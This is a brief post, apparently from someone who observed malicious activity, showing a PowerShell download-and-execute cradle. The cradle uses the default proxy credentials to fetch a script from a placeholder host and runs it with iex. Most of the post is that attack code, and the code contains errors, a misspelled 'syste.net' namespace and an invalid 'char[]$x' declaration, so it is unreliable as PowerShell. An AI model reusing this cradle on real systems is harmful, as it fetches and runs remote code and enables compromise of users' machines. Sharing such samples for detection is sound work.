Malicious Powershell executing downloaded scripts

Interesting Powershell commands. Appears to download a list of Powershell commands, join them together, and execute them.

$web=new-object system.net.webclient;
$web.proxy = [syste.net.webrequest]::defaultwebproxy;
$web.proxy.credentials = [system.net.credentialcache]::defaultnetworkcredentials;
char[]$x=([char[]]($web.downloadstring("http://X.X.X.X/file.asp")));
iex ($x-join)


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